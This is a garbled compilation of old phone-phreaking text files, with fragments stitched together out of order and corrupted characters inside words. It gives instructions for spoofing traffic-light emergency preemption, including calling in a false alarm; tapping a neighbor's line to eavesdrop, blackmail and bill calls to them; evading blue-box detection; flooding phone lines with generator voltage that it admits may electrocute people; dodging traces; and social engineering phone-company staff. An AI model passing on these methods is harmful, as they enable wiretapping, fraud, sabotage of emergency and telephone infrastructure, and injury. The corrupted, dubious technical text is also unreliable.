OptoComs are a system of sensors on traffic lights that detect a pattern of flashes from vehicle-mounted strobe& lights. This flash pattern varies from city to city depending on the manufacturer of the equipment used. Often the sensors are installed only at major intersections. Nevertheless, the Chrome Box, which simulates these strobe patterns can often be used to give your car the same priority as an ambulance, paramedic van, firetruck or police car. Because of the varying patterns on different systems this phile will outline a general procedure for making the Chrome Box. Decoding Flash Patterns: First, you need to observe an emergency vehicle in action. You can wait until you encounter one by chance, running out to see when you hear a siren, or when you pull over in your car to let one pass by. You might wait near a fire station for the next emergency to occur. Or, if you are very impatient, you can summon one by calling in a false alarm (not recommended in areas with limited services - that could divert attent+Pion from a real emergency). If the OptoComs in your area are the kind with a pattern of single flashes at a steady rhythm, you have merely to buy a strobe light at Radio Shack & adjust the flash rate until you can induce a traffic light to change. If the flash pattern is more complex, you can videotape the emergency vehicle & then play back the tape in single-frame mode, counting the number of frames between each flash. Each video frame is 1/30 of a second, u Csing this you can calculate the time between flashes in the pattern. Another way is to count the number of flashes (or flash-groups) in one minute and use that to compute the rate. Counting video frames will give you a good idea of the spacing of the flashes in a complex pattern. For really accurate information, call the fire station & ask them, or write to the manufacturer for a service manual, which will include a schematic diagram that you can use to build o ]nne. A good cover story for this is that you are a consultant & one of your clients asked you to evaluate Optocom systems, or you could pose as a free-lance journalist writing an article. Modifying the Strobe Light: You may not have to modify the strobe at all. But if you need a faster flash rate than your strobe allows, open it up & find the large capacitor inside. Capacitors are marked in microfarads, abbreviated as mf,mfd or ufd. By replacing the capacitori& with one of the same voltage-rating (usually 250 volts or more) and a SMALLER value in microfarads, you can increase the flash rate. Halving the microfarads doubles the rate. The other component that can be changed is the potentiometer (the speed control device with the knob on it). Using a smaller value (measured in ohms or Kilohms, abbrevaited with the greek letter 'omega' or the letter K) will speed up the strobe. There may also be a resistor (small cylinder wi (.ring is complete, push the wires and the fuse into the casing, and reclose it. Then tape around the side of the box, to hold the wires that come out to the rheostat down. I highly recommend that you mark the charged posts with a marker, so you can easily identify them. Use --- To use the chart box, hook it up to a phone line, and grab a multitester or voltmeter. Use the voltmeter to read off the  zJ0 voltage from your chart box. You can get up to 12 volts (more if you use a transformer) from the box, but you can use the rheostat to calibrate the box for whatever voltage you need. Once the voltage is set, remove the box from the line, hook your device up to the charged poles, and plug the box back in. If you're really in a constructive mood, build a switch into the box. Now leech Ma Bell's precious energy to your hearts content.m Footnote -------- This device has other potential uses. One of the most obvious, and least useful (at least to my view) is as a volume control for your phone. Maybe you have an aunt that talks REAL LOUD!!!!! Also, you can use this device to set up a feedback loop to mess up someone else's phone line. Finally, it may be possible to use the chart box to tone down your connection, and provide a littlekb background noise, so that ESS doesn't pick up on your blue boxing. This is not a guaranteed method, but if you do it just right, you can make the 2600 blast sneak by the ESS detection code. Naturally, the main purpose of the chart box is to leech Ma Bell just like she leeches you. Hail Discordia! Naturally, the main purpose of the chart box is to leech Ma Bell!

Necessary Materials ------------------- Four alligator clips One Telephone Some telephone wire Instructions ------------ 1) Find a neighbor's house that has a little gray box on the side. This box should have a Bell logo on it (the gay little bell in a circle). 2) Apply pressure underneath the box and the front should come right off. Pull the end off of the length of the telephone wire. Then strip the ends of all the different colored w~ires inside. These should be green, red, yellow and black. Attach an alligator clip to each of the wires. Then clip the clips to the same colors in the box. Yellow to yellow, red to red and so on. 3) Then run the wire across the street back to your house and then plug a phone into the other end of the wire. 4) Now you can dial out and receive the neighbors calls. Great for tapping the phones and then blackmailing them. You can also stop phreaking because any ouq2tgoing calls will be charged to the neighbors! Great eh? All sysops may use these plans if they do not change them in any way at all. -- (c) 1985 by Dr. D-Code & The Pimp -- -- HMH Inc. AE line......702-831-4263 -- HMH Inc.

As you know, your telephone line is a constant power source. The chart box is designed to allow you to tap that power source for whatever sicko purposes you might have in mind. Parts ----- [1]- 1 four prong to modular phone adapter (the rectangular beige boxes with phone line jacks at one end and four prongs out the other.) [2]- 1 low power broad range rheostate. c+ [3]- some wire [4]- a soldering iron [5]- some electric tape [6]- a 70 vlt. DC fuse (optional) [7]- 1 SPST switch Assembly -------- Plug the adapter into a phone line, and use a multitester to note which posts are charged. Use a magic marker to mark the positive and negative poles. Do this first. Take the adapter, and turn it upside down. You should observe that theBh bottom fits into the top. Use a pocketknife, small screwdriver, battle axe etc. to remove the bottom. Don't break it. Detach the two wires not connected to charged poles, and scrap em. Detach the other two wires as well. Take your rheostat, and mount it on the outside of the box, drilling a small hole in the box, to run wires through. Run wire from the charged connections from the line jack t%w, through the rheostat, to the charged poles.

When the phone rings 90 volts of pulsing DC power get shot down your line, and can really fuck up whatever you have the chart box hooked up to. Therefore, the fuse is a good idea. You can also hook a switch up to the wiring, to give you more control over when power starts to flow.

BECAUSE OF THIS, SOME OF YOUR SPEECH IS LOST( BECAUSE OF THE DELAY IN FINDING A TRUNK) THIS IS CALLED CLIPPING. WELL, IF YOU WERE TRANSMITTING DATA OVER A TRUNK, CLIPPING WOULD REALLY FUCK UP THE DATA. SO THERE IS SOMETHING CALLED A TASI LOCKING FREQUENCY WHICH KEEPS THE TASI FROM PUTTING ANYONE ELSE ON YOUR TRUNK OR YOU ON ANYONE ELSES TRUNK. IN ANY CASE THE FREQ. IS 1850 HZ.

A good way to figure out which line is which is to take the phone you are looking for off the hook. Then you only need to take the red and green wires entering your phone and hook them to the different pairs of red and green going into the house. You can't hurt anything in the phone or telephone by probeing. When you find the pair that you want take the black from your line and attach it to the red of the other line then tz+%0Lake the yellow and attach it to the green line. Now you are all set to go. For people with rotary phones you can have one person call you then place the second call out to the other person.

TRUNK LINES... THANKS FOR LISTENING! Blue Boxes, Part II While reading the fine article on the blue box I saw that l3-s there a lot of data left out of the document. I hope this adds, in some small way, to the information. First the tones. While all the informatio is correct, the timing specs were not included. The tone pairs are to remain on for 1/10 sec. with 1/10 sec. of slience between digits. The 'KP' tones should be sent for 2/10 sec. A way to defeat the 2600hz traps is to send along with the 2600z some pink noise(most of the energy in this signal shom4ruld be above 3000hz, this signal won't make it over the toll network, but should carry as far as your local toll center) so that the traps won't find 'pure' 2600hz on the trunk. Ths is not a perfectly safe way to box, but it should slow down the discovery. As to use, the first thing you need to understand is that there are two(2) types of toll completing trunk, inward and outward. The names are reference to the ofice that is switchingn5 the call(The toll center that serves the WATS line you called) and each type of trunk has a different class of service. From an inward toll completing trunk, you can reach the different service operators, the toll test board and the Inward Operator. Some offices also allow remote testing and it is in these offices that you can access the outward toll completing trunks. The Outward trunks allow you to make Verification(emergency) calls, do seo6"rvice monitoring(tapping), stack trunks(busy out all trunks between LA and NYC), enable and disable TSPS positions, and in some cases(on some 4A's) issue temporary rerouting instructions( send all calls from LA to NYC via Miami, Boston, or any other class 5 office or offices). Both type of trunk allow you to place a 'standard' call with a box. In some offices, mostly the small ones with a toll test board that is unattended at night and p!+&on weekends, you can get an outward toll completing tUh oh...

Well, if you are The Voltage Master, it is possible. Originally conceived by King Blotto of much fame, the Blotto Box is finally available to the public. NOTE: The Traveler can not be responcable for the information disclosed in the file! This file is strictly for informational purposes and should not be actually built and used! Usage of this electronical impulse machine could have the severe results listed below and \9[could result in high federal prosecution! All right, now that that is cleared up, here is the basis of the box and it's function. The Blotto Box is every phreaks dream... you could hold AT&T down on it's knee's with this device. Because, quite simply, it can turn off the phone lines everywhere. Nothing. Blotto. No calls will be allowed out of an area code, and no calls will be allowed in. No calls can be made inside it for that matter. As long as the swit]:8chhing system stays the same, this box will not stop at a mere area code. It will stop at nothing. The electrical impulses that emit from this box will open every line. Every line will ring and ring and ring... the voltage will never be cut off until the box/ generator is stopped. This is no 200 volt job, here. We are talking GENERATOR. Every phone line will continue to ring, and people close to the box may be electricuted if they pick up the phone. But, the^;,( Blotto Box can be stopped by merely cutting of the line or generator. If they are cut off then nothing will emit any longer. It will take a while for the box to calm back down again, but that is merely a superficial aftereffect. Once again: Construction and use of this box is not advised! The Blotto Box will continue as long as thee is electricity to continue with. OK, that is what it does, now, here are some interesting things for you to do with it... --_<rQ*-=> The Blotto Box Functions and Installation <=-*-- Once you have installed your Blotto, there is no turning back. The following are the instructions for construction and use of this box. Please read and heed all warnings in the above section before you attempt to construct this box. Materials: - A Honda portable generator or a main power outlet like in a stadium or some such place. - A radio shack cord set `=y~Ufor 400 volts that splices a female plug into a phone line jack. - A meter of voltage to attach to the box itself. - A green base (i.e. one of the nice boxes about 3' by 4' that you see around in your neighborhood. They are the main switch boards and would be a more effective line to start with. or: A regular phone jack (not your own, and not in your area codea>x! - A soudering iron and much souder. - A remote control or long wooden pole. Now. You must have guessed the construction from that. If not, here goes, I will explain in detail. Take the Honda Portable Generator and all of the other listed equiptment and go out and hunt for a green base. Make sure it is one on the ground or hanging at head level from a pole, not the huge ones at the top of telephone poles. Open it up with anything cb?e onvienent, if you are two feeble that fuck don't try this. Take a look inside... you are hunting for color-coordinating lines of green and red. Now, take out your radio shack cord and rip the meter thing off. Replace it with the voltage meter about. A good level to set the voltage to is about 1000 volts. Now, attach the voltage meter to the cord and set the limit for one thousand. Plug the other end of the cord into the generator. Take the phone jack and splice the c@}?Jjack part off. Open it up and match the red and green wires with the other red and green wires. NOTE: If you just had the generator on and have done this in the correct order, you will be a crispy critter. Keep the generator off until you plan to start it up. Now, sauder those lines together carefully. Wrap duck tape or insultation tape around all of the wires. Now, place the remote control right on to the startup of the generator. If you have the long pole, makedAv1 sure it is very long and stand back as far away as you can get and reach the pole over. NOTICE: If you are going right along with this without reading the file first, you sill realize now tHat your area code is about to become null! Then, getting back, twitch the pole/remote control and run for your damn life. Anywhere, just get away from it. It will be generating so much electricity that if you stand to close you will kill yourself. The generator will smoke, etc. e, The Blotto Box: Aftermath <=-*-- Original Idea: King Blotto. *********************************************************** * MEMBER NAME: BLUE * PC] / * * -------- ! * * ! ! \ * * ! ! * * ! ! / * * --SWITCH-- * * ! ! \ * * ! ! * * ! ! / * L * ! ! * F L * ! ! ! * F I>RED- -RED>O I>RED- ---RED>O N>-----GREEN---->N N>-----GREEN------>N E * h * E E * * E QD ************** **************** Once you have hooked up all the parts, you must figure out what set of wires go to the line and which go to the fone.

That is, unless of course you've got a blast box. All a blast box is, is a really cheap amplifier, (around 5 watts or so) connected in place of the microphone on your telephone. It works best on model 500 AT&T Phones, and if constructed small enough, can be placed inside the phone. Construction: Construction is not really important. Well it is, but since I'm letWJ52ting you make your own amp, I really don't have to include this. Usage: Once you've built your blast box, simply connect a microphone (or use the microphone from the phone) to the input of the amplifier, and presto. There it is. Now, believe it or not, this device actually works. (At least on crossbar.) It seems that illinois bell switching systems allow quite alot of current to pass right through the switching office, and out to whoever you're calling.

With your 7/16 hex driver, turn the security bolt(s) approximately 1/8 of an inch counter-clockwise and open. If your output device is locked, then you must have some knowledge of destroying and/or picking locks. However, we have never encountered a locked output device. Once you have opened your output device, you should see a mass of wires connected to terminals. On most of your output devices, the terminals s0e=ehould be labeled "T" (Tip -- if not labeled, it is usually on the left) and "R" (Ring -- if not labeled, it is usually on the right). Remember: Ring - red - right. The "Three R's" -- a simple way to remember which is which. Now you must attach the red alligator clip (ring) to the "R" (ring) terminal. Attach the green alliagtor clip (tip) to the "T" (tip) terminal. NOTE: If instead of a dial tone you hear nothing, re-adjust the alligator clips so tha1fHt they are not touching each other or other terminals. Also make sure that they are firmly attached. By this time you should hear a dial tone. Dial ANI and find out the number that you are using (you wouldn't want to use your own). Here are some practical applications: o Eavesdropping o Long distance, static-free phone calls to phriends o Dialing direct to Alliance Conferencing (also static- 2gh free) o Phucking people over o Bothering the operator at little risk to yourself o Blue Boxing with a greatly reduced chance of getting caught o Anything at all that you want, since you are an extension on that line <>Eavesdropping: To be most effective, first attach the Beige Box and then your phone. This eliminates stati3hAc caused by connecting the box, therefore reducing the potential suspicion of your victim. When eavesdropping, it is always best to be neither seen nor heard. If you hear someone dialing out, do not panic; but rather hang up, wait, and pick up the receiver again. The person will either have hung up or tried to complete their call again. If the latter is true, then listen in, and perhaps you will find information worthy of blackmail! If you would like to know4i"\ who you are listening to, after dialing ANI, pull a CN/A on the number. <>Dialing Long Distance: This section is self-explanatory, but don't forget to dial a "1" before the NPA. <>Dialing Direct to Alliance Conferencing: Simply dial 0-700-456-1000 and you will get instructions from there. I prefer this method over PBXs, since PBXs often have poor reception and are more difficult to come by. <>Phucking Peop5jĒVle Over: This is a very large topic for discussion. Just by using the other functions described, you can create a large phone bill for the person (they will not have to pay it, but it is a hassle for them). In addition, since you are an extension of the person's line, leave your phone off hook, and they will not be able to make or recieve calls. This can be extremely nasty because no one would suspect the cause of the problem. <>Bother6kϢBing the Operator: This is also self-explanatory and can provide hours of entertainment. Simply ask or say things to her that are offensive and you would not like traced to your line. This also corresponds with the previous described section, Phucking People Over. After all, guess who's line it gets traced to? He he he... <>Blue Boxing: See a file on Blue Boxing for more details. This is an especially nice feature if you l7le,ive in an ESS-equipped prefix, since the calls are, once again, not traced to your line. (>Potential Risks Overuse of the Beige Box may cause suspicions within the Gestapo, and result in legal problems. Therefore, I would recommend that you: o Use more than one output device o Choose a secluded spot to do your Beige Boxing o Keep a low profile (i.e., do not post under your real name on a public BBS concernin8mL  g your accomplishments) o In order to make sure that the enemy has not been inside your ouput device, I reccomend that you place a piece of transparent tape over the opening of your output device. Therefore, if it is opened in your absence, the tape will be displaced and you will be aware of the fact that someone has been intruding upon your territory. ************************************************9X*********** * MEMBER NAME: BLACK * * *********************************************************** BLACK BOX PLANS HERE IS HOW YOU CONSTRUCT A BLACK BOX.

Surely every phreak has at least once considered the phun that he could have with one. After searching unlocked phone company trucks for one for months, we had an idea. We could build one. We did, and+vG named it the "Beige Box," simply because that is the color of ours. In the following file we will give complete instructions for the construction and use of a Beige Box. (>Construction The construction is very simple. First, you must understand the concept of the device. In a modular jack, there are four wires. These are red, green, yellow, and black. For a single line telephone, however, only two matter: the red (ring) and green (tip). The y,w<ellow and black are not necessary for this project. A lineman's handset only has two clips on it: the ring and the tip. You will need a phone (we reccommend a touch-tone) with a modular plug, a modular jack, and two large alligator clips (preferably red and green, respectively). Take the modular jack and look at the bottom of its casing. There should be a grey jack with four wires (red, green, yellow, and black) leading out of it. To the end of t-x|he red wire attach a red alligator clip. To the end of the green wire attach a green alligator clip. The yellow and black wires can be removed, although I would only set them aside so that you can use the modular jack in future projects. Now insert your telephone's modular plug into the modular jack. That's it. This particular model is nice because it can be easily made, is inexpensive, uses common parts that are readily available, is small, is ligh.c,tweight, and does not require the destruction of a phone. (>Uses There are many uses for the Beige Box. However, before you can use it, you must know how to attach it to its output device. This device can be any of several Bell switching apparatus that include terminal sets (i.e., remote switching centers, bridging heads, cans, etc.). To open most Bell Telephone switching apparatus, you must have a 7/16 inch hex driver. This piece of equipment zxw-/-/-/-/-/-/-/-/-/-/-/ /-/ /-/ /-/ THE AQUA BOX /-/ /-/ /-/ /-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/ /-/ /-/ /-/ CONCEPT BY: CAPTAIN XEROX /-/ /-/ /-/ /-/ PLANS BY: THE TRAVELER /-/ /-/ /-/ /-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/ EVERY TRUE PHREAKER LIVES IN FEAR OF THE DREDDED F.B.I. 'LOCK IN TRACE.' FOR A LONG TI{ÁmME, IT WAS IMPOSSIBLE TO ESCAPE FROM THE LOCK IN TRACE. THIS BOX DOES OFFER AND ESCAPE ROUTE WITH SIMPLE DIRECTIONS TO IT. THIS BOX IS QUITE A SIMPLE CONCEPT, AND ALMOST ANY PHREAKER WITH BASIC ELECTRONICS KNOWLEDGE CAN CONSTRUCT AND USE IT. /-/-/-/-/-/-/-/-/-/-/-/ /-/ THE LOCK /-/ /-/ IN TRACE /-/ /-/-/-/-/-/-/-/-/-/-/-/ A LOCK IN TRACE IS A DEVICE USED BY THE F.B.I. TO LOCK INTO THE PHONE USERS LOCATION SO THAT HE CAN NOT HANG UP WHILE A |LGTRACE IS IN PROGRESS. FOR THOSE OF YOU WHO ARE NOT FAMILIAR WITH THE CONECPT OF 'LOCKING IN', THEN HERE'S A BREIF DESCIPTION. THE F.B.I. CAN TAP INTO A CONVERSATION, SORT OF LIKE A THREE-WAY CALL CONNECTION. THEN, WHEN THEY GET THERE, THEY CAN PLUG ELECTRICITY INTO THE PHONE LINE. ALL PHONE CONNECTIONS ARE HELD OPEN BY A CERTAIN VOLTAGE OF ELECTRICITY, THAT IS WHY YOU SOMETIMES GET STATIC AND FAINT CONNECTIONS WHEN YOU ARE CALLING FAR AWAY, BECAUSE THE ELECTRICI}|*TY HAS TROUBLE KEEPING THE LINE UP. WHAT THE LOCK IN TRACE DOES IS CUT INTO THE LINE AND GENERATE THAT SAME VOLTAGE STRAIGHT INTO THE LINES. THAT WAY, WHEN YOU TRY AND HANG UP, VOLTAGE IS RETAINED. YOUR PHONE WILL RING JUST LIKE SOMEONE WAS CALLING YOU EVEN AFTER YOU HANG UP. (IF YOU HAVE CALL WAITING, YOU SHOULD UNDERSTAND BETTER ABOUT THAT, FOR CALL WAITING INTERSEPTS THE ELECTRICITY AND MAKES A TONE THAT MEANS SOMEONE IS GOING THROUGH YOUR LINE. THEN, IT IS A MAT~~kTER OF WHICH VOLTAGE IS HIGHER. WHEN YOU PUSH DOWN THE RECEIVER, THEN IT SEE-SAWS THE ELECTRICITY TO THE OTHER SIDE. WHEN YOU HAVE A PERSON ON EACH LINE IT IS IMPOSSIBLE TO HANG UP UNLESS ONE OR BOTH OF THEM WILL HANG UP. IF YOU TRY TO HANG UP, VOLTAGE IS RETAINED, AND YOUR PHONE WILL RING. THAT SHOULD GIVE YOU AN UNDERSTANDING OF HOW CALLING WORKS, ALSO. WHEN ELECTRICITY PASSES THROUGH A CERTAIN POINT ON YOUR PHONE, THE ELECTRICITY CAUSES A BELL TO RING OR ON SOME %"NEWER PHONES AN ELECTRONIC RING TO SOUND.) SO, IN ORDER TO ELIMINATE THE TRACE, YOU SOMEHOW MUST LOWER THE VOLTAGE LEVEL ON YOUR PHONE LINE. YOU SHOULD KNOW THAT EVERY TIME SOMEONE ELSE PICKS UP THE PHONE LINE, THEN THE VOLTAGE DOES DECREASE A LITTLE. IN THE FIRST STEPS OF PLANNING THIS OUT, XEROX SUGGESTED GETTING ABOUT A HUNDRED PHONES ALL HOOKED INTO THE SAME LINE THAT COULD ALL BE TAKEN OFF THE HOOK AT THE SAME TIME. THAT WOULD GREATLY DECREASE THE VOLTAGE LDEVEL. THAT IS ALSO WHY MOST THREE- WAY CONNECTIONS THAT ARE USING THE BELL SERVICE THREE WAY CALLING (WHICH IS ONLY $3 A MONTH) BECOME QUITE FAINT AFTER A WHILE. BY NOW, YOU SHOULD UNDERSTAND THE BASIC IDEA. YOU HAVE TO DRAIN ALL OF THE POWER OUT OF THE LINE SO THE VOLTAGE CAN NOT BE KEPT UP. I RATHER SUDDEN DRAINING OF POWER COULD QUICKLY SHORT OUT THE F.B.I. VOLTAGE MACHINE, BECAUSE IT WAS ONLY BUILT TO SUSTAIN THE EXACT VOLTAGE NESSECARY TO KEEP THE VOLTAGE O -UT. FOR NOW, IMAGE THIS. ONE OF THE NORMAL RADIO SHACK GENERATORS THAT YOU CAN GO PICK UP THAT ONE END OF THE CORD THAT HOOKS INTO THE CENTRAL BOX HAS A PHONE JACK ON IT AND THE OTHER HAS AN ELECTRICAL PLUG. THIS WAY, YOU CAN "FLASH" VOLTAGE THROUGH THE LINE, BUT CANNOT DRAIN IT. SO, SOME MODIFICATIONS HAVE TO BE DONE. /-/-/-/-/-/-/-/-/-/-/-/ /-/ THE AQUA BOX /-/ /-/-/-/-/-/-/-/-/-/-/-/ MATERIALS NEEDED- A BEOC (BASIC ELECTRICAL OUTPUT SOCKET), LIKE !A SMALL LAMP TYPE CONNECTION, WHERE YOU JUST HAVE A SIMPLE PLUG AND WIRE THAT WOULD PLUG INTO A LIGHT BULB. - ONE OF CORDS MENTIONED ABOVE, IF YOU CAN'T FIND ONE THEN CONSTRUCT YOUR OWN... SAME VOLTAGE CONNECTION, BUT THE RESTRAINOR MUST BE BUILT IN (I.E. THE CENTRAL BOX) - TWO PHONE JACKS (ONE FOR THE MODEM, ONE FOR IF YOU ARE BEING TR" ACED TO PLUG THE AQUA BOX INTO) - SOME CREATIVITY AND EASY WORK. NOTICE: NO PHONES HAVE TO BE DESTROYED/MODIFIED TO MAKE THIS BOX, SO DON'T GO OUT AND BUY A NEW PHONE FOR IT! ALL RIGHT, THIS IS A VERY SIMPLE PROCEDURE. IF YOU HAVE THE BEOC, IT COULD DRAIN INTO ANYTHING, A RADIO, OR WHATEVER. THE PURPOSE OF HAVING THAT IS YOU ARE GOING TO SUCK THE VOLTAGE OUT FROM THE PHONE LINE INTO THE ELECTRICAL APPLICENCE SO THERE WOULD BE NO VO#nPLTAGE LEFT TO LOCK YOU IN WITH. 1)TAKE THE CONNECTION CORD. EXAMINE THE PLUG AT THE END. IT SHOULD HAVE ONLY TWO PRONGS, IF IT HAS THREE, STILL, DO NOT FEAR. MAKE SURE THE ELECTRICAL APPLIENCE IS TURNED OFF UNLESS YOU WANNA BECOME A CRISPY CRITTER WHILE MAKING THIS THING. MOST PLUG WILL HAVE A HARD PLASTIC DESIGN ON THE TOP OF THEM TO PREVENT YOU FROM GETTING IN AT THE ELECTRICAL WIRES INSIDE. WELL, GET A NICE AND REMOVE IT. IF YOU WANT TO KEEP THE PLUG (I DON'T SEuge level on your phone line. You should know that every time someone else picks up the phone line, then the voltage does decrease a little. In the first steps of planning this out, Xerox suggested getting about a hundred phones all hooked into the same line that could all be taken off the hook at the same time.That would greatly decrease the voltage level. That is also why most three-way connections that are using the bell service three way calling (which is only -LS$3 a month) become quite faint after a while. By now, you should understand the basic idea. You have to drain all of the power out of the line so the voltage can not be kept up. A rather sudden draining of power could quickly short out the F.B.I. voltage machine, because it was only built to sustain the exact voltage necessary to keep the voltage out. For now, image this. One of the normal radio shack generators that you can go pick up that one end of tU/che cord that hooks into the central box has a phone jack on it and the other an electrical plug. This way, you can "flash" voltage THROUGH the line, but cannot drain it. So, some modifications have to be done. /-/-/-/-/-/-/-/-/-/-/-/ /-/ The Aqua Box /-/ /-/-/-/-/-/-/-/-/-/-/-/ Materials needed- - A BEOC (Basic Electrical Output Socket), like a small lamp type connection, where you just have a simple plug and wire that would plug into a light bulb. - One of cords mentioned above, if you can't find one then construct your own... same voltage connection, but the restrain or must be the central box) - TWO phone jacks (one for the modem, one for if you are being traced to plug the aqua box into) - Some cdeativity and easy work. NOTICE: No phones have to be destroyed/modified to make this box, so don't go out and buy a new phone for it! All right, this is a very simple procedure. If you have the BEOC, it could drain into anything, a radio, or whatever. The purpose of having that is you are going to suck the voltage out from the phone line into the electrical appliance so there would be no voltage left to lock you in with. 1) Take the connection cord. Examine the plug at the end. It should have only two prongs, if it has three, still, do not fear. MAKE SURE THE ELECTRICAL APPLIANCE IS TURNED OFF unless you wanna become a cdispy cdiI(tter while making this thing. Most plugs will have a hard plastic design on the top of them to prevent you from getting in at the electrical wires inside. Well, get a knife and remove it. If you want to keep the plug (I don't see why...) then just cut the top off. When you look inside, lo and behold, you will see that at the base of the prongs there are a few wires connecting in. Those wires conduct the power into the appliance. So, you carefully unwrap those from the sides and pull them out until they are about an inch ahead of the prongs. If you don't wanna keep the jack, then just rip the prongs out. If you cover the prongs with insulation tape so they will not connect with the wires when the power is being drained from the line. 2) Do the same thing with the prongs on the other plug, so you have the wires evenly connected. Now, wrap the end of the wires around each other. IfM you happen to have the other end of the voltage cord hooked into the phonephonep 1 reading now, you're too fucking stupid to continue. After you've wrapped the wires around each other, then cover the whole thing with the plugs with insulating tape. Then, if you built your own control box or if you bought one, then cdam all the wires into the and re-close it. That box is your ticket out of this. 3) Re-check everything to make sure it's all in placbe. This is a pretty flimsy connection, but on later models when you get more experienced at it then you can solder away at it and form the whole device into one big box, with some kind of cheap mattel hand-held game inside to be the power connector. In order to use itl ofuld pkeep this box handy. Plug it into the jack if you want, but it will slightly lower the voltage so it isn't connected. When you plug it in, if you see sparks, un-plug i0LLt and restart the WHOLE thing. But if it just seems fine then leave it. /-/-/-/-/-/-/-/-/-/ /-/ Using it !! /-/ /-/-/-/-/-/-/-/-/-/ Now, so you have the whole thing plugged in and all... DO NOT USE THIS UNLESS THE SITUATION IS DESPERATE! When the trace has gone on, don't panic, un plug your phone, and turn on the appliance that it was hooked to. It will need energy to turn itself on, and here's a great source... the voltage to keep a phone line yOHopen is pretty small and a simple light bulb should drain it all in and probably short the F.B.I. computer at the same time.

Then, when they get there, they can plug electricity into the phone line. All phone connections are held open by a certain voltage of electricity, that is why kou sometimes get static and faint connections when you are calling far away, because the electricity has trouble keeping the lineup. What the lock in trace does is cut into the line and generate that same voltage strai Lght into the lines. That way, when you try and hang up, voltage is retained. Your phone will ring just like someone was calling you even after you hang up. (If you have call waiting, you should understand better about that, for call waiting intercepts the electricity and makes a tone that means someone is going through your line. Then, it is a matter of which voltage is higher. When you push down the receiver, then it see-saws the electricity to the other side. When >ͦ you have a person on each line it is impossible to hang up unless one or both of them will hang up. If you try to hang up, voltage is retained, and your phone will ring.

They trouble-shot and repaired problems in these machines in order to learn about actual operating equipment. We talked about the local switching equipment, which turned out to be a #1A ESS. According to him, soon all the local co's will be run automatically from central locations called "HUBS". The "HUB" handles any overload between central offices that might cause%B\ the dreaded "GRIDLOCK" of the fone system. If the interoffice signaling lines get overloaded, the calls are rerouted through the HUB. The HUB also serves as a central spot where troubles at the local co are handled in the first stages of trouble-shooting. The "HUB" concept is alive and well in our local area, with #5 ESS, the third installed in the entire nation, running the whole operation. When he was getting ready to leave he thanked us for the interesting conversation, and )we waved at him as he pulled out. I now not only had a new fone line, but also a lot of useful and interesting info, as well as the satisfaction of a friendly chat. The lesson is clear. Whenever a Bell Employee visits your house, fell phree to ask whatever you want, within reason. Most are extremely willing to shoot the bull about almost anything of which they have knowledge. At first, merely joke with them lightheartedly, in order to get them off there guard. Legit questions askable by a normal customer, such as equal access cutovers, will get them rolling, leaving you to direct the conversation wherever you like. Asking about the breakup and how it affected them is a sure fire way to get them talking. Questions like "how does the fone network work?" also are good, especially if you guide them into the discussion of switching technology. Most Bell employees are really glad to talk to someone. Remember, they usually interact with disgruntled customers wi]th complaints. Their spouses probably yell at them, and their supervisors either complain about their performance or ignore them. Society at large just doesn't care about them. They're most probably disenchanted with the world at large, and maybe even dissatisfied with their jobs. The chance to talk to some one who merely wants to listen to what they say is a welcome change. They will talk on and on about almost anything, from telecommunications to their home life and their childhoo$td. The possibilities for social engineering are endless. Remember, Bell employees are humans, too. All you have to do is listen. [PEN REGISTERING AND TRACING] [WRITTEN BY:] [FOREST RANGER] Pen registering is a special device used by AT&T. This device deciphers the tones used when phreaking phone calls. This means that each tone key pressed is deciphered if you had a pen register on yourꚣK line or were being traced with a pen register, every phone number you dialed would be known. That means every time you would phreak a number not only would the access number be recorded, but the code being used and where you called to! So if you know you have a pen register on your line then I would advise you not to phreak! Tracing - The FBI does not trace,the Police do not trace. the Phone Co. traces. If the FBI wants a trace on your line they simply call the Phone Co. The FBI|G does not sit up all night to listen in on your phone. They don't trace for years or 6 months, but just for a few days at a time if at all. The Police traces the same way. It costs too much money to trace all the computer phreakers and hackers, so they merely pick on a select few. So tracing isn't as dangerous as it seems! The people that tell you different have been watching too many late night films! So don't get too paranoid if you think you are being traced due to the facts men 0 tioned above!

Here is an example of industrial espionage using the phone: A salesman walks into an office & makes a fone call. He fakes the conversation, but when he hangs up he slips some foam-rubber cubes under the handset, so the fone is still off the hook. The called party can still hear all conversations in the room. When someone picks up the fone, the cubes fall away unnoticed. I use a tap on my line to monitor what AE-PRO is doiIzng when it auto-dials, since it doesn't take advantage of the handset on the apple cat II. I can also hook up the tap to a cassette recorder or amplifier.

Hogan <= ======================================= Ever get an operator who gave you a hard time, and you didn't know what to do? Well if the operLator hears you use a little Bell jargon, she might wise up. Here is a little diagram (excuse the artwork) of the structure of operators /--------\ /------\ /-----\ !Operator!-- > ! S.A. ! --->! BOS ! \--------/ \------/ \-----/ ! ! V /-------------\ ! Group Chief ! \-------------/ Now most of the operators are not bugged, so they can curse at you, if they do ask INSTANTLY for the "S.A." or the Service Assistant. The operator does not report to her (95֋<6% of them are hers) but they will solve most of your problems. She MUST give you her name as she connects & all of these calls are bugged. If the SA gives you a rough time get her BOS (Business Office Supervisor) on the line. S/He will almost always back her girls up, but sometimes the SA will get tarred and feathered. The operator reports to the Group Chief, and S/He will solve 100% of your problems, but the chances of getting S/He on the line are nill. If a lineman (the guy wh-&o works out on the poles) or an installation man gives you the works ask to speak to the Installation Foreman, that works wonders. Here is some other bell jargon, that might come in handy if you are having trouble with the line. Or they can be used to lie your way out of situations.... An Erling is a line busy for 1 hour, used mostly in traffic studies A Permanent Signal is that terrible howling you get if you disconnect, but don't hang up. Everyone knows what a busy sign؞al is, but some idiots think that is the *Actual* ringing of the phone, when it just is a tone "beeps" when the phone is ringing, wouldn't bet on this though, it can (and does) get out of sync. When you get a busy signal that is 2 times as fast as the normal one, the person you are trying to reach isn't really on the phone, (he might be), it is actually the signal that a trunk line somewhere is busy and they haven't or can't reroute your call. Sometimes you will get a Recording,"w( or if you get nothing at all (Left High & Dry in fone terms) all the recordings are being used and the system is really overused, will probably go down in a little while. This happened when Kennedy was shot, the system just couldn't handle the calls. By the way this is called the "reorder signal" and the trunk line is "blocked". One more thing, if an overseas call isn't completed and doesn't generate any money for AT&T, is is called an "Air & Water Call". څk$| [ESSENCE OF TELEPHONE CONFERENCING] [WRITTEN BY:] [FOREST RANGER] Telephone conferencing is an easy way of getting many friends together at once. This can be accomplished easily with little or no trouble what so ever. The techniques that I will teach you do not require a blue box or a touch tone phone line. The only prerequisite is that you have a phone that has a tone switch on it or have a hookable touch tone ۽.Akeypad. Now, if you are the paranoid type of person and refuse to use your own 